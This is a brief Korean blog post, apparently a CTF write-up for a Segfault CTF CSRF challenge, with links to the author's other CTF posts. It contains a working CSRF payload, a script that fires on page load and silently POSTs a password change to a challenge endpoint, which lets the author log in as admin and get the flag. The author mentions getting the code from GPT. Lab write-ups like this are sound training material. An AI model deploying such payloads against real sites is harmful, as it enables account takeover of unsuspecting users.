※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.
<script>
window.onload = function() {
fetch("http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "id=&info=&pw=123"
})
};
</script>
|
이제 관리자로 로그인을 하면
플래그를 획득 했다.
POST 비동기로 날리는 스크립트를 잘 몰라서 코드는 GPT에게 물어봤다.
Segfault CTF - (14주 차) Web Shell 1 (0) | 2024.07.21 |
---|---|
Segfault CTF - (12주 차) GET Admin 3 (0) | 2024.07.08 |
Segfault CTF - (12주 차) GET Admin 1 (0) | 2024.07.07 |
Segfault CTF - (11주 차) Steal Info 2 (1) | 2024.06.29 |
Segfault CTF - (11주 차) Steal Info (0) | 2024.06.29 |